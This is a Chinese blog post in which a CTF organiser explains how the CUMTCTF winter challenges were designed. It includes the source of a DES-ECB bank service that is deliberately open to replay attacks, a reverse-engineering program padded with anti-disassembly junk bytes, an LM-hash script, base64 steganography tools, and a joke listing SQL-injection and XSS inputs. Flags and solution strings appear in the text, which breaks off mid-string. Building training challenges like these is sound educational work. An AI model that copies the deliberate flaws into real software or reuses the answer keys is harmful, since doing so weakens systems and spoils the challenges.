请注意,本文编写于 1353 天前,最后修改于 1353 天前,其中某些信息可能已经过时。
今天是1.8号,我终于开始出题了。当然,理想很丰满,现实很骨感,所有题目的构思我都完成了,但是代码量真的很大。这篇博客不出意外应该是在1.31号比赛结束后会放出来。主要记录一下出题过程中遇到的问题和出题思路的展示,方便我之后写官方题解和被做题的师傅们喷~ 话不多说,这是个大工程,我们就要开始了。
今天是1.31号,比赛马上就要结束了。这里主要是说明一下题目分配问题。由于本次比赛历时时间很长(7天),所以我们出题组的首要目标是保证题目质量。但是这里又有一个问题,这里需要兼顾20级的小伙伴,让他们有东西可学,感受比赛的魅力,于是我们临时加了一些比较容易可供大家参考学习的题目。我们出题组平均每个方向上准备了10道题目(web,re,pwn本次比赛均有题目没有放出,密码学就算了真的不行),但是根据做题情况,我们放慢了放题目的速度。总体来说感觉比赛节奏还是可以的。
本次比赛确实能感受到认真学习后确实和别人不太一样。19级有很多小伙伴给了我眼前一亮的感觉,真的十分的强!本次比赛18级BXS成员全员没有参赛(指的是做题,没有提交flag),确实能感觉到实力和年级并没有直接的联系。
希望各位师傅对本次比赛满意,再次感谢出题组的各位辛勤付出,对每一道题目的用心打磨。
啊啊啊啊,不会出密码学呀。左想右想既然我要在本次比赛中引入区块链和智能合约的知识,那不如我们就直接来一道模拟记账的程序吧!
首先先来一个看门的程序,最近打比赛打的多的小伙伴一定知道这个玩意。我们需要根据局部的信息的sha256生成我们的密钥。其实这也是整个区块链上挖矿的原理,所有矿工在所有的交易后面加幸运数字,直至有一个矿工生成了连续很多0(根据当前区块难度所决定)的一个幸运数字,随后这个矿工公开这个交易给所有矿工,当超过半数的矿工认可后,此交易就算成功了(不严格的来讲,严格的说要等过6个区块过后才会被承认)。
def generatepow(difficulty):
prefix = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
msg="sha256("+prefix+"+?).binary.endswith('"+"0"*difficulty+"')"
return prefix,msg
def pow(prefix,difficulty,answer):
hashresult=hashlib.sha256((prefix+answer).encode()).digest()
bits=bin(int(hashlib.sha256((prefix+answer).encode()).hexdigest(),16))[2:]
if bits.endswith("0"*difficulty):
return True
else:
return False
随后就真正的进入了我们的账本。本题我的思路是重放攻击,在我们获得相应的交易号时,我们可以选择拆解交易号,更换我们的名字与数字来偷钱。
华丽的分界线---------------------------------------------------------------------------------------------------------------------------------------------
我把代码搞完了,并且docker也打好了。现在的问题是我需不需要给出DES的源码,如果给出源码应该有一点python基础的师傅们直接能看出来是一个重放攻击。到时候在和小伙伴们商量一下,要是需要把这道题目放在简单题目里面,那么就不再加难度了。要是放在中档题目中,我应该会隐去加密方式,并且设置连接最长时间60s,强迫大家使用脚本与我们的服务器进行交互。这道题目就先这样吧。
贴上源码,有兴趣的小伙伴可以复现一下:
#!/usr/bin/python3
import sys
import signal
import hashlib
import os
from Crypto.Util.number import bytes_to_long,long_to_bytes
import random
import string
import time
from Crypto.Cipher import AES
import base64
import binascii
from pyDes import *
import time
MENU = '''
Welcome to ljzjsc's distributed bank, where we have adopted the most advanced bookkeeping model. Work hard to make money! When you have 10,000 yuan, you can buy a flag from me. Have fun!
Tell me your name now and I will create an account for you.
'''
TOPIC = 'SendFlag'
start = 10
KEY = ""
MENU1 = '''
1. Transfer
2. View transaction information
3. Submit transaction information to me
4. Check out the very secure transaction generation algorithm
5. get flag(pay 10000)
'''
def getflag():
real_flag = 'W0w_y0u_hAck_the_simpl3_distribut3d_l3dg3r'
return 'CUMTCTF{' + real_flag + '}'
def generatepow(difficulty):
prefix = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
msg="sha256("+prefix+"+?).binary.endswith('"+"0"*difficulty+"')"
return prefix,msg
def pow(prefix,difficulty,answer):
hashresult=hashlib.sha256((prefix+answer).encode()).digest()
bits=bin(int(hashlib.sha256((prefix+answer).encode()).hexdigest(),16))[2:]
if bits.endswith("0"*difficulty):
return True
else:
return False
def DesEncrypt(str, Des_Key):
k = des(Des_Key, ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)
def Zero_padding(str):
b = []
l = len(str)
num = 0
for n in range(l):
if (num < 8) and n % 7 == 0:
b.append(str[n:n + 7] + '0')
num = num + 1
return ''.join(b)
#key = "Ilovebxs" #AES密钥
def str_to_hexStr(string):
str_bin = string.encode('utf-8')
return binascii.hexlify(str_bin).decode('utf-8')
def make():
num1 = ''.join(random.sample(string.ascii_letters+string.digits+string.punctuation,8))
return num1
def get_key():
test_str = KEY
# 用户的密码转换为大写,并转换为16进制字符串
test_str = str_to_hexStr(test_str.upper())
str_len = len(test_str)
# 密码不足14字节将会用0来补全
if str_len < 28:
test_str = test_str.ljust(28, '0')
# 固定长度的密码被分成两个7byte部分
t_1 = test_str[0:14]
t_2 = test_str[14:]
# 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0')
t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0')
# 再分7bit为一组末尾加0,组成新的编码
t_1 = Zero_padding(t_1)
t_2 = Zero_padding(t_2)
#print(t_1)
t_1 = hex(int(t_1, 2))
t_2 = hex(int(t_2, 2))
t_1 = t_1[2:].rstrip('L')
t_2 = t_2[2:].rstrip('L')
if '0' == t_2:
t_2 = "0000000000000000"
return binascii.a2b_hex(t_1)
#t_2 = binascii.a2b_hex(t_2)
def maketransaction(payer,Beneficiary,num):
key = get_key()
payer_AES = DesEncrypt(payer, key)
Beneficiary_AES = DesEncrypt(Beneficiary, key)
num_AES = DesEncrypt(num, key)
return str(payer_AES)[2:-1]+str(Beneficiary_AES)[2:-1]+str(num_AES)[2:-1]
def showcount(name):
print()
print("account name: " + name +" Account Balance: " + str(start))
def print_MENU(name):
showcount(name)
print(MENU1)
def showcode():
code = '''
def maketransaction(payer,Beneficiary,num):
key = get_key()
payer_AES = DesEncrypt(payer, key)
Beneficiary_AES = DesEncrypt(Beneficiary, key)
num_AES = DesEncrypt(num, key)
return str(payer_AES)[2:-1]+str(Beneficiary_AES)[2:-1]+str(num_AES)[2:-1]
'''
print(code)
def Transfer(name):
print("Your account is " + name)
print("Whose account do you want to transfer to?")
fromaccount = input("[-]input your name(Less than eight characters): ")
number_eth = int(input("[-]Enter the amount you want to transfer first: "))
global start
if number_eth > start:
print("Insufficient balance")
sys.exit(0)
if number_eth < 0:
print("Wrong input")
sys.exit(0)
start = start - number_eth
if len(fromaccount) > 8:
sys.exit(0)
fromaccount = fromaccount.zfill(8)
name = name.zfill(8)
number_eth = str(number_eth).zfill(8)
Transaction_hash = maketransaction(name,fromaccount,number_eth)
print("Successful transaction.")
print("your transaction hash:" + Transaction_hash)
def get_flag():
global start
if start < 10000:
print("Sorry, insufficient balance")
else:
print(getflag())
sys.exit(0)
def View_transaction(): #随机生成可利用hash
for i in range(0,5):
name1 = ''.join(random.sample(string.ascii_letters+string.digits+string.punctuation,8))
name2 = ''.join(random.sample(string.ascii_letters+string.digits+string.punctuation,8))
eth_use = str(random.randint(0,9))
eth_use = str(eth_use).zfill(8)
print(maketransaction(name1,name2,eth_use))
def Encrypt(str, Des_Key):
k = des(Des_Key, ECB, pad=None)
#EncryptStr = k.encrypt(str)
decrypt_str = k.decrypt(binascii.a2b_hex(str))
return decrypt_str
def Check_transaction(name,transaction):
global start
fromname = transaction[0:16]
toname = transaction[16:32]
numm = transaction[32:48]
key = get_key()
sendname = str(Encrypt(toname,key))[2:-1]
sendnumm = str(Encrypt(numm,key))[2:-1]
#print(sendname)
#print(sendnumm)
if sendname == name.zfill(8):
start = start + int(sendnumm,10)
if __name__ == "__main__":
#global KEY
KEY = make()
print("[$] Welcome to CUMTCTF'winter")
prefix,msg=generatepow(5)
print("[+]",msg)
answer=input("[-] ?=")
if not pow(prefix,5,answer):
print("[+]wrong proof")
sys.exit(0)
print("[+] passed")
print(MENU)
accountname = input("[-]input your name(Less than eight characters): ")
if len(accountname)>8:
sys.exit(0)
print("Hi! " + str(accountname))
#start = 10
while True: #输入长度8位
print_MENU(accountname)
#View_transaction()
#get_flag()
#showcode()
#Transfer(accountname) #完成
#print_MENU(accountname)
choice = input("[-]input your choice: ")
#print(maketransaction("ljzjsc11","zjy11111","15000000"))
if choice=='1':
Transfer(accountname)
elif choice=='2':
View_transaction()
elif choice=='3':
transaction = input("[-]input your transaction ")
if len(transaction) != 48:
sys.exit(0)
Check_transaction(accountname,transaction)
elif choice=='4':
showcode()
elif choice=='5':
get_flag()
else:
print("Invalid option")
sys.exit(0)
密码学重放攻击,但是解题数不是很理想,可能是因为大多数人没有见过门卫题目吧。。。。。本身我想放hit,但是已经有队伍把题目完成了,所以我只能闭嘴,没有办法,比赛公平还是要稍微维护一下的。。。。。
我现在开始构思这道题目了,使劲的想。这道题目的灵感与原型来自2077游戏中的入侵协议,我的想法是做一个类似于pwn中的沙箱,然后挂在服务器上,师傅们通过使用我每次生成的数位板,完成对应的序列来编写shellcode。最终完成cat flag 或者是bin/sh的操作。但是我十分怕因为程序漏洞的原因导致这道题目最终变成了一道pwn题,但是我可以试一试,不行的话再进行修改吧。或者简化shellcode的编写过程?这样会不会导致题目解法过于单一?我再考虑考虑。。
经过慎重的考虑,我打算这样部署这道题目的逻辑:
我不会在题目描述中出现任何整活的东西(与2077有关),需要逆向手分析整个程序逻辑(包括入侵协议的玩法)。
根据题目逻辑,生成字符串。
30个字符最少需要5个基本码原(可编码120情况),于是我准备使用“CUMTF”这五个字符(CUMTCTF)
由于希望题目可以有多种不同的解法,我准备把地图设置为10*10。
最终字符串就设置为"johnny silverhand"吧。
a:CFUMT
b:CFUTM
c:CTFMU
d:CTFUM
e:CTMFU
f:FCMTU
g:FCMUT
h:FCUTM
i:FMCTU
j:FTMUC
k:FTUCM
l:FTUMC
m:FUCMT
n:FUTCM
o:FUTMC
p:MCFTU
q:MUCFT
r:MUCTF
s:MUTCF
t:TUCFM
u:TUCMF
v:TUFMC
w:TUMCF
x:TUMFC
y:UCFMT
z:UCMFT
!:UCMTF
.:UCTFM
?:UTMCF
*:UTMFC
经过不懈的努力,我实现了这道题目的全部逻辑,但是有一个问题,就是gcc原版编译出来的软件是带有调试信息的,我们需要去除调试信息,即将所有的函数名称删除,我们可以使用 Linux 的 strip 命令。删除之后的题目逻辑:
啊,虽然成功的将函数的调试信息全部删除了,但是我们发现,整个程序的逻辑实在是太清楚了,这样属实不好,对不起一个中等难度的题目。那么我们来给程序加一点花代码吧,就整点最简单的那种吧。
//花代码1 windows下的
__asm {
_emit 075h
_emit 2h
_emit 0E9h
_emit 0EDh
}
//花代码1 Linux下的
asm __volatile__(".byte 0x75");
asm __volatile__(".byte 0x2");
asm __volatile__(".byte 0xe9");
asm __volatile__(".byte 0xed");
嗯,看起来满意多了,一下子就像那么回事了。这里附上源码,方便大家复现的同时也是防止出现非预期后,自己没有资料进行排查。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <math.h>
#include <string.h>
typedef int ElementType; /*栈元素类型*/
#define SUCCESS 0
#define FAILURE -1
char need[16] = "johnnysilverhand";
/*定义栈结构*/
typedef struct StackInfo
{
ElementType value; /*记录栈顶位置*/
struct StackInfo *next; /*指向栈的下一个元素*/
} StackInfo_st;
/*函数声明*/
StackInfo_st *createStack(void);
int stack_push(StackInfo_st *s, ElementType value);
int stack_pop(StackInfo_st *s, ElementType *value);
int stack_top(StackInfo_st *s, ElementType *value);
int stack_is_empty(StackInfo_st *s);
/*创建栈,外部释放内存*/
StackInfo_st *createStack(void)
{
StackInfo_st *stack = malloc(sizeof(StackInfo_st));
if (NULL == stack)
{
printf("malloc failed\n");
return NULL;
}
stack->next = NULL;
return stack;
}
/*入栈,0表示成,非0表示出错*/
int stack_push(StackInfo_st *s, ElementType value)
{
StackInfo_st *temp = malloc(sizeof(StackInfo_st));
if (NULL == temp)
{
printf("malloc failed\n");
return FAILURE;
}
/*将新的节点添加s->next前,使得s->next永远指向栈顶*/
temp->value = value;
temp->next = s->next;
s->next = temp;
return SUCCESS;
}
/*出栈*/
int stack_pop(StackInfo_st *s, ElementType *value)
{
/*首先判断栈是否为空*/
if (stack_is_empty(s))
return FAILURE;
/*找出栈顶元素*/
*value = s->next->value;
StackInfo_st *temp = s->next;
s->next = s->next->next;
/*释放栈顶节点内存*/
free(temp);
temp = NULL;
return SUCCESS;
}
/*访问栈顶元素*/
int stack_top(StackInfo_st *s, ElementType *value)
{
/*首先判断栈是否为空*/
asm __volatile__(".byte 0x75");
asm __volatile__(".byte 0x2");
asm __volatile__(".byte 0xe9");
asm __volatile__(".byte 0xed");
if (stack_is_empty(s))
return FAILURE;
*value = s->next->value;
return SUCCESS;
}
/*判断栈是否为空,空返回1,未空返回0*/
int stack_is_empty(StackInfo_st *s)
{
/*栈顶指针为空,则栈为空*/
return s->next == NULL;
}
char chr[30][6] = {{"CFUMT"},
{"CFUTM"},
{"CTFMU"},
{"CTFUM"},
{"CTMFU"},
{"FCMTU"},
{"FCMUT"},
{"FCUTM"},
{"FMCTU"},
{"FTMUC"},
{"FTUCM"},
{"FTUMC"},
{"FUCMT"},
{"FUTCM"},
{"FUTMC"},
{"MCFTU"},
{"MUCFT"},
{"MUCTF"},
{"MUTCF"},
{"TUCFM"},
{"TUCMF"},
{"TUFMC"},
{"TUMCF"},
{"TUMFC"},
{"UCFMT"},
{"UCMFT"},
{"UCMTF"},
{"UCTFM"},
{"UTMCF"},
{"UTMFC"}};
char chars[]= "abcdefghijklmnopqrstuvwxyz!.?*";
char map[10][10] = {"AZTUYPFQAZ","UIVZVCRAAI","DAZMVIACZD","HZHZHVIHAI","HDMFUTUTDI","MUCMZFTHDH","VDVBDHVMAC","ZFUTBDCRBD","FABBCDRIRI","CBTDFIVDBR"};
int find(const char pStr[6])
{
//puts(pStr);
//puts(chr[2]);
for(int j = 0;j<30;j++){
if (!strcmp(pStr, chr[j]))
{
return j;
}
}
return -1;
}
void check(const char flag[17])
{
if (!strcmp(flag,need)){
puts("congratulation! your flag is CUMTCTF{aLL_th0s3_m0ments_will_b3_l0st_in_time_lik3_t3ars_in_r@in}");
}
else{
puts("input error");
}
}
char * input1(){//只进行处理输入
char B[200];
static char F[100];
for (int i = 0; i < 100; i++) //双矩阵初始化
{
F[i] = '\0';
}
for (int i = 0; i < 200; i++) //双矩阵初始化
{
B[i] = '\0';
}
scanf("%200s", B);
//实现坐标转换
int last1 = 0;
int last2 = 0;
int num = 0;
int num1 = 0;
asm __volatile__(".byte 0x75");
asm __volatile__(".byte 0x2");
asm __volatile__(".byte 0xe9");
asm __volatile__(".byte 0xed");
for (int i = 0;;i=i+2)
{
if (B[i] == '\0')
break;
int a = B[i] - '0';
int b = B[i + 1] - '0';
if(a==last1 || b == last2){
F[num] = map[a][b];
num = num + 1;
last1 = a;
last2 = b;
num1 = num1 + 1;
if(num1%5==0){
F[num] = '@';
num = num + 1;
last1 = 0;
last2 = 0;
num1 = 0;
}
}
else{
puts("input error");
exit(0);
}
}
return F;
}
int main(){
char * input;//输入矩阵
char A[100];
StackInfo_st *stack = createStack();
char flag[17];
for(int i=0;i<100;i++){
A[i] = '\0';
}
asm __volatile__(".byte 0x75");
asm __volatile__(".byte 0x2");
asm __volatile__(".byte 0xe9");
asm __volatile__(".byte 0xed");
input = input1();
for(int i = 0;i<96;i++){
A[i] = *(input+i);
}
A[97] = '\0';
// printf("%s", A);
//printf("%s",A);
//*A = "FTMUC@FUTMC@FCUTM@FUTCM@FUTCM@UCFMT@MUTCF@FMCTU@FTUMC@TUFMC@CTMFU@MUCTF@FCUTM@CFUMT@FUTCM@CTFUM@";
int num = 0;
for(int i=0;;i=i+6){
char str1[6];
if(A[i] == '\0')
break;
for(int j = 0;j < 5; j++){
str1[j] = A[i+j]; //将输入弹进数组
}
if(A[i+5]!='@')
break;
str1[5] = '\0';
int H=find(str1);
//printf("%d",H);//找到返回值
if(H == -1){
printf("input error");
}
flag[num] = chars[H];
asm __volatile__(".byte 0x75");
asm __volatile__(".byte 0x2");
asm __volatile__(".byte 0xe9");
asm __volatile__(".byte 0xed");
num = num + 1;
//puts(str1);
//printf("\n");
}
//printf("%s",flag);
check(flag);
return 0;
}
标准答案,答案不唯一:
0602424484064647676980844447670646472723064647272310155553735051567671805052020306020323270203434252909242430350101545438084444767908010505606464727239092944442
这题目的一血是学妹做出来的,当时中午2点多的时候我就发现他交的flag形状已经差不多了。激动!!!RE后继有人了!!!!
首先,这道题目我准备出成exe的格式。其次决定编程语言,c语言的话应该需要加花指令,不然暴露逻辑肯定是不行的。C++则需要控制整体的代码长度,不能太长,或者太复杂,不然可能引起不适。至于动态调试是必反的,无论是那种方法,我都不想让这道题目可以动态调试。至于逻辑那肯定不能直接采用挑战响应的MD5不可逆的模式,不然题目绝对是不可逆的。
采取密码学的1bit承诺的思想构建本题目。采用对称密码交互的模式。原A发送端作为选手的输入(被许诺的一方),B则作为验证方(许诺的一方)。采用Tea算法作为中间过程。大致逻辑如下:
由于算法是一个绝对安全的算法,所以参赛者绝对不能是许诺方,只能是被许诺方。但是这就意味着如果直接下发本地文件则会直接暴露flag明文。所以必须使用服务器远程连接的形式进行承诺,但是我一开始是打算出成exe的,代码写了一大堆才意识到这个问题,为了更好的参赛体验,我打算全部推倒重做。
g++ main.cpp tea.h -o bit -std=c++11
至于Linux的c++编译可以使用如下语句。
之后就是制作docker打包上传。
哈哈,这道题目再临上线前叫给阉割了,主要是剩余时间太短。直接将tea算法的密钥变换进行了阉割,强行将tea算法与输入进行了分割,将tea算法变成了一个原版算法。只要能看出来算法是个tea,解密即可。
水了一道题目,lsp隐写。下次再玩谐音梗就扣钱。。。。
但是比赛的时候蛮有意思的,看着大家试flag有点意思。这里的flag是没有空格的。是因为软件自己8个字节空一格,导致flag看起来是想有空格的。虽然我看的很急,但是我不能说。
对敌人仁慈,就是对自己残忍!
这道题目的构思来源于网络安全这门课程。在弱密码攻击中有一项攻击叫做社工攻击,简称偷看密码。于是我准备使用我亲爱的相机来一段激情输入密码的表演。(为了让大家看得更加的清楚,我还专门买了一个24寸的显示屏呢!!!)最后将成品视频快放6倍速,生成题目附件。
不会真有人会认为我会考社工学攻击吧,不会吧不会吧!!本题的考点是老电脑的LMhash,在题目的最后,我会使用pswdump出flag账户的密码LMhash,预计只有一帧左右。最后对LMhash进行爆破,得到密钥flag。
理论上LMhash的复杂度是2^55,我们只需要模拟LMhash算法进行强行爆破即可。并且前面的视频信息产生的明文也可以进行辅助爆破。
LMhash脚本实现:
# coding=utf-8
import base64
import binascii
from pyDes import *
def DesEncrypt(str, Des_Key):
k = des(Des_Key, ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)
def Zero_padding(str):
b = []
l = len(str)
num = 0
for n in range(l):
if (num < 8) and n % 7 == 0:
b.append(str[n:n + 7] + '0')
num = num + 1
return ''.join(b)
def str_to_hexStr(string):
str_bin = string.encode('utf-8')
return binascii.hexlify(str_bin).decode('utf-8')
if __name__ == "__main__":
test_str = "031600"
# 用户的密码转换为大写,并转换为16进制字符串
test_str = str_to_hexStr(test_str.upper())
str_len = len(test_str)
# 密码不足14字节将会用0来补全
if str_len < 28:
test_str = test_str.ljust(28, '0')
# 固定长度的密码被分成两个7byte部分
t_1 = test_str[0:14]
t_2 = test_str[14:]
# 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0')
t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0')
# 再分7bit为一组末尾加0,组成新的编码
t_1 = Zero_padding(t_1)
t_2 = Zero_padding(t_2)
print(t_1)
t_1 = hex(int(t_1, 2))
t_2 = hex(int(t_2, 2))
t_1 = t_1[2:].rstrip('L')
t_2 = t_2[2:].rstrip('L')
if '0' == t_2:
t_2 = "0000000000000000"
t_1 = binascii.a2b_hex(t_1)
t_2 = binascii.a2b_hex(t_2)
# 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。
LM_1 = DesEncrypt("KGS!@#$%", t_1)
LM_2 = DesEncrypt("KGS!@#$%", t_2)
# 将二组DES加密后的编码拼接,得到最终LM HASH值。
LM = LM_1 + LM_2
print(LM)
这题目我本人觉得还不错,但是效果不太好。有一说一,整段视频我是拿单反相机进行录制的,清晰度应该还可以。本意是让选手看清LMhash和密码长度14位于部分密码。但是从第一天白天开始就开始出现奇奇怪怪的md5。后来没有办法,只能放出提示,提示出密码的前3位和后三位。然后我才知道,网上有在线解密的网站,但是好像有的还很不靠谱。很多人拿着自己在网站上跑出来的hash来问我,一样的为什么不对,那确实不对呀,有的长度都不够。只能说大家做题目的时候太糙了,没有办法静下心来。记得我第一次见到这种题目的时候也是一道偷窥,还是一道彻彻底底的偷窥,是一个俄罗斯的毛子比赛。当时也正能硬看,看的眼睛都快瞎了。
这道题目的想法来源于懒惰的自己在复习累了刷知乎的时候,无意间看到了一个程序员笑话,差点给我笑背过气。后来仔细看了看,发现它的格式很适合做base64隐写的材料于是就有了这道题目。由于要贴合题目名字和笑话,所以我准备写一个小程序作为载体,夹杂一点逆向的知识。
首先是笑话:
一个测试工程师走进一家酒吧,要了一杯啤酒
一个测试工程师走进一家酒吧,要了一杯咖啡
一个测试工程师走进一家酒吧,要了0.7杯啤酒
一个测试工程师走进一家酒吧,要了-1杯啤酒
一个测试工程师走进一家酒吧,要了2^32杯啤酒
一个测试工程师走进一家酒吧,要了一杯洗脚水
一个测试工程师走进一家酒吧,要了一杯蜥蜴
一个测试工程师走进一家酒吧,要了一份asdfQwer@24dg!&*(@
一个测试工程师走进一家酒吧,什么也没要
一个测试工程师走进一家酒吧,又走出去又从窗户进来又从后门出去从下水道钻进来
一个测试工程师走进一家酒吧,又走出去又进来又出去又进来又出去,最后在外面把老板打了一顿
一个测试工程师走进一
一个测试工程师走进一家酒吧,要了一杯烫烫烫的锟斤拷
一个测试工程师走进一家酒吧,要了NaN杯Null
1T测试工程师冲进一家酒吧,要了500T啤酒咖啡洗脚水野猫狼牙棒奶茶
1T测试工程师把酒吧拆了
一个测试工程师化装成老板走进一家酒吧,要了500杯啤酒并且不付钱
一个测试工程师走进一家酒吧,要了一杯啤酒';DROP TABLE 酒吧
一个测试工程师走进一家酒吧,要了一杯Nil,一杯Null和一杯None
一个测试工程师走进酒吧,另个一师程工走也进吧酒
一个测试工程师走进一家酒吧,用一块钱越南盾要了一杯啤酒。
一个测试工程师分别从围墙内和围墙外走进一家酒吧,要了一杯啤酒。
一个测试工程师打电话到一家酒吧,要了一桶啤酒。
一个测试工程师叫上几百号兄弟到一家酒吧,一起要一杯啤酒。
一个测试工程师男扮女装到一家酒吧,上女厕要一杯啤酒。
一个测试工程师穿着隐身披风走进一家酒吧,用几十把钥匙开仓库门拿祖传啤酒
一个测试工程师走进酒吧,要了一杯">_
一个测试工程师盗用老板身份走进了酒吧,进了后台放了一瓶我自己的酒
一个测试工程师走进酒吧,在吧台放了一杯' and 1=1
一个测试工程师们满意地离开了酒吧。
一个测试工程师走进一家酒吧,<script>alert"要了一杯酒";</script>
一个测试工程师跳进一家酒吧
一个测试工程师蒙着眼睛,倒退着走进一家酒吧。
一个测试工程师走进一家酒吧,要了一杯美国啤酒,一杯德国啤酒,一杯比利时啤酒,一杯青岛啤酒(五厂)。
一个酒量为零的测试工程师走进一家酒吧。
一个测试工程师走进一家酒吧,把一把高脚椅搬到室外坐上去,又站起来又坐上去又站起来
一万个测试工程师在酒吧门外呼啸而过
测试工程师们满意地离开了酒吧。
然后一名顾客点了一份炒饭,酒吧炸了
你永远不知道你的用户会输入什么!请善待程序。--------来自不停在修改bug的逆向出题人ljzjsc
至于最后一行的,是因为隐写长度不够了我补上的。(肯定没有别的意思!)
这里是隐写脚本:
import base64
flag = 'cumt{t3stIss0F4n}' #flag
bin_str = ''.join([bin(ord(c)).replace('0b', '').zfill(8) for c in flag])
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('0.txt', 'rb') as f0, open('1.txt', 'wb') as f1: #'0.txt'是明文, '1.txt'用于存放隐写后的 base64
for line in f0.readlines():
rowstr = base64.b64encode(line.replace('\n', ''))
equalnum = rowstr.count('=')
if equalnum and len(bin_str):
offset = int('0b'+bin_str[:equalnum * 2], 2)
char = rowstr[len(rowstr) - equalnum - 1]
rowstr = rowstr.replace(char, base64chars[base64chars.index(char) + offset])
bin_str = bin_str[equalnum*2:]
f1.write(rowstr + '\n')
隐写解密脚本:
import re
import base64
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
# ccc.txt为待解密的base64隐写字符串所在的文件
f = open('ccc.txt','r')
base64str = f.readline()
# pattern2用于匹配两个等号情况时,等号前的一个字符
# pattern2用于匹配一个等号情况时,等号前的一个字符
pattern2 = r'(\S)==$'
pattern1 = r'(\S)=$'
# 提取后的隐写二进制字符加入binstring中
binstring = ''
# 逐行读取待解密的base64隐写字符串,逐行处理
while(base64str):
# 先匹配两个等号的情况,如果匹配不上,再配置一个等号的情况
# 如果无等号,则没有隐藏,无需处理
if re.compile(pattern2).findall(base64str):
# mstr为等号前的一个字符,该字符为隐写二进制信息所在的字符
mstr = re.compile(pattern2).findall(base64str)[0]
# 确认mstr字符对应的base64二进制数,赋值给mbin
mbin = bin(b64chars.find(mstr))
# mbin格式如0b100,mbin[0:2]为0b
# mbin[2:].zfill(6)为将0b后面的二进制数前面补0,使0b后面的长度为6
mbin2 = mbin[0:2] + mbin[2:].zfill(6)
# 两个等号情况隐写了4位二进制数,所以提取mbin2的后4bit
# 赋值给stegobin,这就是隐藏的二进制信息
stegobin = mbin2[-4:]
binstring += stegobin
elif re.compile(pattern1).findall(base64str):
mstr = re.compile(pattern1).findall(base64str)[0]
mbin = bin(b64chars.find(mstr))
mbin2 = mbin[0:2] + mbin[2:].zfill(6)
# 一个等号情况隐写了2位二进制数,所以提取mbin2的后2bit
stegobin = mbin2[-2:]
binstring += stegobin
base64str = f.readline()
# stegobin将各行隐藏的二进制字符拼接在一起
# 从第0位开始,8bit、8bit处理,所以range的步进为8
for i in range(0,len(binstring),8):
# int(xxx,2),将二进制字符串转换为10进制的整数,再用chr()转为字符
print(chr(int(binstring[i:i+8],2)),end='')
载体代码:
#include <iostream>
#include <string>
using namespace std;
void flag(){
string B = "your flag is here:";
string C = "5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v5ZWk6YWSDW==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v5ZKW5ZWhDT==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqGMC435p2v5ZWk6YWSDX==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqGLTHmna/llaTphZIN\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqGMl4zMuadr+WVpOmFkg1=\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v5rSX6ISa5rC0DV==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v6Jyl6Jy0Db==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5Lu9YXNkZlF3ZXJAMjRkZyEmKihADV==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM5LuA5LmI5Lmf5rKh6KaBDd==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM5Y+I6LWw5Ye65Y675Y+I5LuO56qX5oi36L+b5p2l5Y+I5LuO5ZCO6Zeo5Ye65Y675LuO5LiL5rC06YGT6ZK76L+b5p2lDR==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM5Y+I6LWw5Ye65Y675Y+I6L+b5p2l5Y+I5Ye65Y675Y+I6L+b5p2l5Y+I5Ye65Y6777yM5pyA5ZCO5Zyo5aSW6Z2i5oqK6ICB5p2/5omT5LqG5LiA6aG/De==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiADd==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v54Or54Or54Or55qE6ZSf5pak5ou3Dd\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqGTmFO5p2vTnVsbA0=\nMVTmtYvor5Xlt6XnqIvluIjlhrLov5vkuIDlrrbphZLlkKfvvIzopoHkuoY1MDBU5ZWk6YWS5ZKW5ZWh5rSX6ISa5rC06YeO54yr54u854mZ5qOS5aW26Iy2DT==\nMVTmtYvor5Xlt6XnqIvluIjmiorphZLlkKfmi4bkuoYN\n5LiA5Liq5rWL6K+V5bel56iL5biI5YyW6KOF5oiT6ICB5p2/6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqGNTAw5p2v5ZWk6YWS5bm25LiU5LiN5LuY6ZKxDT==\n5LiA5Liq5rWL6K+V5bel56iL5biI6LWw6L+b5LiA5a626YWS5ZCn77yM6KaB5LqG5LiA5p2v5ZWk6YWSJztEUk9QIFRBQkxFIOmFkuWQpw1=\n5LiA5Liq5r